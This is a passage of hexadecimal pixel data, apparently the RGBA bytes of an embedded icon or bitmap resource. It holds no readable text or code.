C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFB19564FFFDCD7DFFF8C97BFFF8CA\n      7BFFF8C97CFFF8C97CFFF8C97BFFF7C878FFF8C97BFFF8C97CFFF8C97CFFF8C9\n      7CFFF8CA7BFFF8C97BFFFFD081FF9A896DFF8B6144FFC06F3FFFBB6E40FFBB6E\n      3FFFCC612FFF00FCFFFF06F6FFFF07F6FFFF07F6FFFF06FCFFFF10B1FBFF177D\n      F4FF1584F5FF1483F6FF1587FDFF4D7497FFB7BEBAFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9AA19EFF314DB2FF204EFDFF224DF8FF234D\n      F8FF1746FEFFACACB1FFDDCB99FFD8C89BFFD8C89BFFE0CE97FF8792C4FF1A48\n      FCFF214DF8FF214EF8FF214FFFFF52619AFFB09568FFEBBF78FFE7BD78FFE7BD\n      79FFE7BD79FFE7BD7AFFE8BD79FFEED0A2FFE6BE7AFFE7BD79FFE7BD7AFFE7BD\n      79FFE7BD79FFE7BD78FFEDC17AFF9A896EFF8E4D3AFFB8472BFFB6492DFFB64A\n      2EFFC73B1BFF02EFFFFF0CE4F8FF0DE4F8FF0DE4F8FF0CEBF9FF1597EEFF1A5B\n      E7FF1A61E8FF1860E8FF165FEEFF4D6A99FFBBC0BDFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A3A0FF3244AFFF233CE9FF253DE6FF263D\n      E6FF1A36EEFFA89E96FFD6BF79FFD1BC7CFFD1BC7CFFD8C277FF8583ADFF1D38\n      EDFF263EE6FF243DE6FF223BECFF515C9AFFAA9066FFE6BC79FFE2B87AFFE2BA\n      7BFFE2BA7BFFE2B97AFFE1B876FFFEFDFDFFEFDABCFFE1B775FFE2BA7BFFE2BA\n      7BFFE2BA7AFFE3B879FFE7BD7BFF97866FFF8D392FFFB82B1CFFB62C1DFFB52D\n      20FFC71D0BFF05E9FFFF0DE0F8FF0EDFF8FF0EDFF8FF0CE8F8FF1686EDFF1C41\n      E6FF1B48E7FF1A46E5FF1747ECFF4D6097FFB9BCBBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA19FFF333AA9FF2427E4FF2525E0FF262A\n      E1FF1B28E9FFA99686FFD6BA63FFD2B667FFD2B667FFD9BC62FF857B9FFF1E2B\n      E8FF2531E1FF2531E1FF232EE8FF525797FFA78D66FFE3B979FFDFB77AFFDFB6\n      79FFDFB67BFFDFB67AFFDFB579FFDEB578FFDFB77DFFDFB679FFDFB67AFFDFB6\n      7AFFDFB679FFDFB579FFE5BA7AFF94856EFF8D2A26FFB8120DFFB61411FFB516\n      11FFC70500FF04E9FFFF0EE0FBFF0DE6FFFF0EE0FCFF0DE6F9FF1777ECFF1D2E\n      E3FF1C33E4FF1A31E5FF1731EAFF4E5895FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3429A6FF19C3F8FF1F91EEFF1DC1\n      F5FF1B29EAFFA99075FFD6B753FFD2B356FFD2B356FFD9BA50FF867395FF1F1F\n      E5FF2727DEFF2525DEFF2323E5FF515394FFA58C67FFE1B87AFFDFB479FFDDB4\n      77FFDDB174FFDEB57CFFDEB57CFFDEB57BFFDEB57BFFDEB57CFFDEB479FFDCB2\n      75FFDEB479FFDFB47AFFE4B87BFF92846EFF8D2424FFB90809FFB50B0CFFB70D\n      0DFFC60000FF06EAFFFF0EC7E9FF1F647CFF0DB3D4FF0EE5F7FF1871EBFF1D24\n      E3FF1C2AE5FF1A28E3FF1728EAFF4E5394FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3426A3FF1BB0F6FF1BBFF4FF1CD4\n      F6FF1B20E7FFA98E70FFD6B64CFFD2B24FFFD2B24FFFD9B949FF867090FF1F1A\n      E5FF2722DDFF2520DEFF231EE3FF515092FFA58D68FFE2BA80FFDDB376FFECD5\n      B6FFF1E0CAFFDDB275FFDFB67CFFDFB67CFFDFB67CFFDEB479FFE3C091FFF6EF\n      E2FFDFB983FFDEB478FFE4B87BFF92846EFF8E2424FFBB0C0CFFB60D0DFFB60E\n      0EFFC60000FF04F0FFFF1D7077FF4D8B69FF49645CFF0AE1F4FF1873ECFF1D25\n      E3FF1C2CE5FF1A2AE5FF1729EAFF4E5494FFC2C4BBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF3528A5FF1DC3F8FF2276E9FF1EB8\n      F2FF1B25EAFFA98F71FFD6B64CFFD2B351FFD2B351FFD9B94AFF867190FF1F1B\n      E5FF2723DEFF2521DEFF231EE3FF515093FFA68E6AFFE3BB83FFDEB67DFFE9D0\n      ACFFEFDCC2FFDDB275FFDEB57BFFDFB67CFFDFB67CFFDEB479FFE3BF90FFF4E6\n      D5FFDEB479FFDFB479FFE4B87BFF92846EFF8E2525FFBC0E0EFFBA1111FFB811\n      11FFC70000FF03F1FFFF236B84FF1D64C4FF2C4680FF0CDDECFF1873EDFF1D25\n      E3FF1C2CE5FF1A2AE5FF1728EAFF4E5494FF2F209BFF200AD0FF230CCEFF200C\n      CDFF1D08CCFF1C07CAFF1C08CBFF1C08CBFF1C08CBFF1C08CBFF1C08CBFF1D09\n      CBFF1B06CBFF1B05CBFF1700D0FF4E478CFF3532A5FF2B26E3FF24B1F3FF2A41\n      E2FF1B16E6FFA88F70FFD6B64CFFD2B350FFD2B351FFD9B94AFF867190FF1F1B\n      E5FF2723DEFF2521DEFF231EE3FF515093FFA68D6BFFE4BD86FFE1BB86FFDFBA\n      83FFDFB882FFDFBA84FFE0B780FFDEB479FFDEB479FFDEB57AFFDDB479FFDCB1\n      74FFDEB579FFDEB378FFE4B97BFF93846FFF8E2525FFBE0F0FFFBC1212FFBC14\n      14FFCD0200FF0AF0FFFF15A6BCFF1B8DA0FF14A6BAFF0DE7FAFF1771EBFF1C24\n      E3FF1A2AE4FF1828E3FF1729EAFF4E5494FF3D2F9EFF3922D7FF3B26D5FF3C28\n      D5FF3C28D5FF3926D2FF3521D1FF311DD0FF301DD0FF301DD0FF301DD0FF2F1C\n      D0FF2F1BD0FF2D19CFFF2D18D5FF564E8DFF3633A5FF2F1DE1FF27BBF3FF3333\n      E0FF2823E9FFAE9678FFD7B850FFD1B150FFD1B24FFFD9B949FF85708FFF1D1A\n      E5FF2521DDFF231FDDFF241EE4FF515092FFA68E6BFFE6BF8AFFE2BD87FFE2BC\n      89FFE2BD89FFE2BD89FFE1BC87FFE2BF8CFFE3BF8FFFE0BA84FFE1BB86FFE1BB\n      86FFE0BB86FFE2BC87FFE7C28AFF938570FF8E2626FFC01010FFBC1313FFBE16\n      16FFCF0402FF0DECFFFF16E6FFFF16E6FFFF15E4FDFF13E9F9FF1F79EDFF2630\n      E6FF2637E7FF2537E7FF2539ECFF4F5494FF3F309EFF3C26D8FF3E28D6FF3F2A\n      D6FF3F2BD6FF3F2BD6FF3F2BD6FF3F2CD6FF3E2AD5FF3C28D5FF3B28D3FF3B27\n      D3FF3C27D5FF3C26D5FF3E26DBFF564F8FFF3734A6FF3227E4FF2F6BE9FF3529\n      DFFF2A27EAFFB19A7DFFDABD5AFFD6BA5EFFD6B95DFFDCBE55FF8C7897FF2925\n      E6FF322EDFFF322DE1FF342DE8FF535093FFA68E6BFFE5C18BFFE3BD8BFFE3BF\n      8BFFE3BF8BFFE3BE8AFFE2BD89FFFFFFFFFFEFDFC5FFE1BC86FFE3BF8BFFE3BF\n      8BFFE3BF8BFFE3BE8AFFE8C48DFF938470FF902525FFC11010FFBF1313FFBE15\n      15FFD00200FF0DECFFFF16E0F8FF17E0F7FF17E0F7FF15E9F8FF237DEEFF2C37\n      E7FF2A3CE8FF283AE6FF253AEDFF4E5594FF3F309EFF3F27D9FF4029D5FF412B\n      D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C\n      D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF3835A6FF342FE4FF362AE1FF3732\n      E2FF2B29EBFFB19C81FFDBBF5DFFD7BC61FFD7BC61FFDEC25BFF907D9BFF2E2C\n      E8FF3732E2FF3530E2FF352EE7FF535093FFA78F6BFFE7C38DFFE3BF8BFFE3BF\n      8BFFE3BF8CFFE3BF8CFFE2BD89FFE9CCA3FFE1BA85FFE3BF8CFFE3BF8CFFE3BF\n      8CFFE3BF8BFFE3BF8CFFEAC58EFF92836FFF8F2323FFC20B0BFFC00E0EFFC010\n      10FFD10000FF07EEFFFF10E0FAFF11E0F9FF11E0F9FF0FE9FAFF1E7DEFFF2834\n      E7FF263BE8FF243AE8FF2339EFFF4D5293FF3D2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028\n      D7FF4027D7FF3F25D7FF4024DEFF554E8DFF3633A7FF332DE6FF352DE2FF3630\n      E2FF2A27ECFFB19B82FFDCBF5DFFD8BC60FFD8BC60FFDFC25AFF907C9CFF2D28\n      EAFF3630E2FF342EE2FF332DE9FF525092FFAD9671FFEACA9DFFE6C799FFE8C8\n      99FFE8C89AFFE8C89AFFE8C89AFFE7C797FFE8C89AFFE8C89AFFE8C89AFFE8C8\n      9AFFE8C899FFE6C799FFECCB9BFFA2937CFF962F2FFFCC3333FFC83131FFC833\n      33FFD8211FFF2AF2FFFF33E6FDFF33E6FCFF33E6FCFF32EEFEFF3E90F3FF454E\n      EDFF4354EDFF4353EDFF4455F1FF5B60A3FF453AA5FF5B47DFFF5843DDFF5845\n      DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944\n      DDFF5845DDFF5844DDFF5945E1FF615B9CFF403DACFF514CEAFF4F4AE7FF504B\n      E7FF4642F0FFBCA891FFE1C970FFDEC573FFDEC573FFE4CB6FFF9E8FA9FF4944\n      EEFF504BE7FF4E4AE7FF4F4AECFF5F5DA0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFC0\n      C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0\n      C0FFBFC0BFFFBFBFBFFFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C6FFC5C5\n      C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5\n      C5FFC5C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF42A440FF40E438FF3FE038FF40E0\n      39FF3FE038FF3FE038FF3FE038FF3FE038FF3FE038FF3FE038FF3FE038FF3FE0\n      38FF40E039FF3FDF38FF40E639FF5B925AFF50983AFF5BCD31FF59C930FF59CA\n      31FF59CA32FF59CA32FF59CA32FF59CA32FF59CA32FF59CA32FF59CA32FF59CA\n      31FF59CA31FF58C930FF5ACF31FF648B57FFB7BEB8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9AA19CFF898F48FFC3CC51FFAFBB36FFFFFF\n      F5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFF5ECFFFF9F86EFFFB39DFFFF7B7492FF449E3BFF40CD31FF41CB33FF41CB\n      34FF42CB34FF42CB35FF42CB35FF42CB35FF42CB35FF42CB35FF42CB35FF42CB\n      34FF41CB34FF40CB33FF40CF31FF5B9156FF548E38FF58B328FF58B02AFF59B1\n      2BFF59B12BFF5AB12CFF5AB12CFF5AB12CFF5AB12CFF5AB12CFF5AB12CFF59B1\n      2BFF59B22BFF58B02AFF5AB327FF638854FFBBC0BCFFFFFFFFFFFFFFFFFFEBEF\n      ECFFE4EAE5FFD6E0D8FFCBD6CEFFCCD8CEFFC7D4CBFFD1DAD3FFD4DFD6FFE2EA\n      E5FFECEFEDFFFFFFFFFFFFFFFFFFA0A3A0FF707B3CFF8D9E32FF798F1AFFEAED\n      DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFD2CBF2FF644ED4FF7762E4FF6F6A90FF459638FF41C32CFF42C12EFF43C1\n      2EFF43C130FF43C12FFF43C12DFF45C028FF45C028FF43C12DFF43C12FFF43C1\n      30FF43C12EFF41C12EFF40C52CFF5B8B55FF548333FF59A422FF57A023FF58A1\n      24FF59A125FF59A125FF59A125FF59A125FF59A125FF59A125FF59A125FF59A1\n      25FF58A024FF57A023FF59A621FF648052FFB9BCB9FFFFFFFFFFDBE0DCFFECF0\n      EDFFC6CFC7FFF8FAF8FFF3F4E8FFEAECDEFFF4F5E9FFF6F8ECFFE8ECE9FFD6DC\n      D7FFE9EDEAFFE2E6E4FFFFFFFFFF9EA19EFF5F6D31FF6E891FFF5B7506FFE6E9\n      DAFFFFFFFFFFFFFFFFFFFFFFFFFFEAEAEAFFE7EAF2FFFFFFFFFFFFFFFFFFFFFF\n      FFFFC6C0F0FF412BCFFF543FDEFF635D8DFF459035FF40BC28FF42BA29FF43BB\n      2AFF44BB2BFF45B91EFF43BC34FF35C67DFF37C57AFF42BC2FFF45BA20FF44BB\n      2BFF43BB2AFF42BA28FF40BE27FF5B8754FF28B3C3FF11F6FFFF14F2FFFF15F2\n      FFFF16F2FFFF16F2FFFF16F2FFFF16F2FFFF16F2FFFF16F2FFFF16F2FFFF16F2\n      FFFF15F2FFFF13F2FFFF10F9FFFF4D9BA4FFB9B9B9FFFFFFFFFFE0E1E0FFE0E0\n      DFFFF4F5F5FFC0C1BFFF425AD5FF4661D1FF4761D1FF4B61CFFFC3C4B7FFFFFF\n      FFFFD3D5D4FFECEDECFFFFFFFFFF9E9E9EFF516327FF56740FFF416300FFE1E6\n      D6FFFFFFFFFFD1E1DFFFB6D2C8FF82AEC2FF90AAA5FFB7D7D3FFDEEAE7FFFFFF\n      FFFFBEB8EFFF250ECDFF3823DBFF5A538BFF458E35FF40B926FF41B727FF42B8\n      28FF47B617FF31C69FFF1BD8FFFF28CEDDFF26CEE0FF1BD8FFFF34C58EFF46B6\n      19FF43B828FF42B726FF40BB25FF5B8553FF2CAEB8FF16F0FFFF19ECFCFF1AEC\n      FCFF1BECFCFF1CECFCFF1CECFCFF1CECFCFF1CECFCFF1CECFCFF1CECFCFF1BEC\n      FCFF1AECFCFF18ECFCFF16F3FFFF4D979DFFB9B9B9FFFFFFFFFFDDDDDDFFD4D4\n      D4FFC2C2C1FFCBC9C7FF053AC2FF1D63BEFF1A6DAFFF173CCAFFD7D3C8FFC4C4\n      C4FFCDCDCDFFE7E7E7FFFFFFFFFF9E9E9EFF4B5E24FF4D6F09FF375900FFE4E7\n      D9FFF7FAFCFFB6D9E4FFCDBC6DFFA29E5DFF86AF85FFD2C6A7FFA0CACFFFFFFF\n      FFFFBCB4EFFF1701CAFF2C17DAFF564E8BFF468E35FF46BC2BFF43B829FF44B7\n      21FF36C381FF28CED4FF46B51DFF47B619FF48B619FF46B722FF26CFE4FF3AC0\n      6BFF43B722FF42B827FF40BC25FF5B8553FF28B3BEFF13F9FFFF14F1FBFF13EF\n      FBFF15F0FBFF15F0FBFF15F0FBFF15F0FBFF15F0FBFF15F0FBFF15F0FBFF15F0\n      FBFF14F0FBFF12F0FBFF0FFCFFFF4C9AA1FFBBBBBBFFF4F4F4FFBBBBBBFFBFBF\n      BFFFCCCCCBFFD8DADAFF2A209DFF36269BFF35269DFF312C9EFFE8E8DEFFCACA\n      CBFFBEBEBEFFB2B2B2FFFFFFFFFF9E9E9EFF4C5F26FF54740CFF3B5C00FFE9EB\n      DBFFBCDBE1FFDACECAFF93BCCBFFA8C6E9FF243156FF6C7893FFDCE2E1FFCDE8\n      DDFFC3B9F3FF1903CCFF2E19DAFF57508BFF468F37FF49BE2DFF4ABC2FFF4AB9\n      23FF2ACBC1FF47B512FF45B828FF45B725FF45B725FF45B828FF47B516FF2CCC\n      C0FF44B71DFF42B827FF40BC25FF5B8553FF7B3320FF9F2700FF9E2A00FF9C28\n      00FF982300FF972200FF982300FF982300FF982300FF982300FF982300FF9823\n      00FF982200FF972100FF9A1D00FF785047FFB9B9B9FFFFFFFFFFBEBEBEFFD6D6\n      D6FFC6C7C7FFE1DEDDFF9C0900FFB4796FFFB0665BFF98140BFFECF7F7FFC5C5\n      C5FFD8D8D8FFBEBEBEFFFFFFFFFF9E9E9EFF4D5F25FF57770FFF416300FFE4E8\n      D8FFFFFFFFFFDEF2F6FFC3E1E5FF366194FF4D6688FF667B9CFF8995A9FFFFFF\n      FFFFBCB5EFFF1903CCFF2D19DAFF57508BFF4A9038FF4CC031FF4EBE33FF50BD\n      2EFF44C672FF4CBC2CFF49B927FF3ABE61FF3ABF5FFF45B723FF45B723FF38C0\n      69FF42B722FF40B725FF41BB26FF5C8553FF753F25FF963D10FF953F14FF9640\n      16FF964217FF943E14FF903912FF8C350FFF8C340FFF8C340FFF8D3410FF8D33\n      0EFF8D320DFF8B310BFF8F310AFF755649FFB9B9B9FFFFFFFFFFC0C0C0FFCECE\n      CEFFCBCCCCFFE5E5E5FF900404FF8E1111FF8E1010FF890C0CFFFDFFFFFFB7B7\n      B7FFC9C9C9FFD0D0D0FFFFFFFFFF9E9E9EFF4F6125FF5B7A10FF466800FFE3E7\n      D9FFFFFFFFFFFFFFFFFF99CDD8FF4C78ABFF1E3963FF001C52FFE5E9F2FFFFFF\n      FFFFBBB4EEFF1701CAFF2E18DAFF56518BFF4A9138FF50C134FF51BE36FF52C0\n      37FF52C03BFF53BF36FF52C03FFF31D9FBFF31D6EEFF50BE37FF4FBD32FF4EBE\n      38FF4FBE33FF51BE34FF51C436FF5D8654FF7A4020FFA24201FF9E4303FF9E44\n      07FF9E4506FF9F4508FF9F4608FF9E4709FF9D4407FF9C4306FF9B4104FF9B40\n      05FF9C4205FF9C4303FFA44200FF795A48FFB9B9B9FFFFFFFFFFFFFFFFFFDDDD\n      D9FFFBFBF6FFFCFDF8FFE6E3E0FFE7E7E4FFE9E8E4FFE4E4E2FFFDFDFBFFF4F3\n      F0FFDEDEDCFFFFFFFFFFFFFFFFFF9E9E9EFF4F6226FF5F7D11FF496B00FFE2E8\n      D8FFFFFFFFFFFFFFFFFFFBFDFDFF9DB7D0FF375D91FFC9D0DAFFFFFFFFFFFFFF\n      FFFFBFB8F0FF2911D1FF4128E1FF57508BFF4A9039FF52C337FF54C136FF55C1\n      39FF55C039FF55C23AFF55C134FF4EC55EFF52C34BFF55C136FF55C23AFF55C1\n      3AFF55C139FF53C137FF54C637FF5D8554FF3333B2FF2E2EF8FF2E30F0FF2F32\n      F0FF3132F0FF3032F0FF3032F0FF3032F0FF3132F0FF3132F0FF3132F0FF3132\n      F0FF3031F0FF2D2FF0FF2D2EFBFF505099FFB9B9B9FFFFFFFFFFFFFFFFFFC3CC\n      F6FFC0CAF5FFAFBAF2FFD5DCFAFFE5E9FDFFC5CFF8FFE4EAFDFFE2E6FAFFCED5\n      F8FFE4E9FCFFFFFFFFFFFFFFFFFF9E9E9EFF506325FF618311FF4B6D00FFE4E8\n      D8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFC1BAF2FF2D14D1FF4128E1FF57508BFF499038FF53C435FF53C037FF54C2\n      37FF54C238FF54C238FF54C238FF55C134FF54C135FF54C238FF54C238FF54C2\n      38FF54C237FF52C136FF55C736FF5C8552FF3833A7FF352EE6FF3730E2FF3730\n      E2FF3832E3FF3832E3FF3832E3FF3832E3FF3832E3FF3832E3FF3832E3FF3832\n      E3FF3731E2FF362FE2FF362EE9FF525092FFB9B9B9FFFFFFFFFFFFFFFFFF9AA7\n      EEFFA4B1EFFF9DAAEEFFB9C3F4FF9CAAEFFFB3BEF2FF9CABEFFFA2AFEFFF97A5\n      EDFFCFD5F6FFFFFFFFFFFFFFFFFF9D9D9DFF4E6121FF62830AFF4B6D00FFE4EA\n      D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFC0B8F2FF2B0ED3FF4224E3FF554F89FF509741FF6BCD52FF68CB51FF69CA\n      51FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA\n      52FF69CB51FF68C950FF6BCD52FF68935FFF413DACFF524DEBFF504BE7FF514C\n      E7FF514CE7FF524CE7FF524CE7FF524CE7FF524CE7FF524CE7FF524CE7FF514C\n      E7FF514CE7FF504BE7FF504BEAFF5F5DA1FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF546829FF7C9939FF64841BFFF1F7\n      E7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFD1CBFDFF4832E0FF5E4AEBFF5F589BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF\n      C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      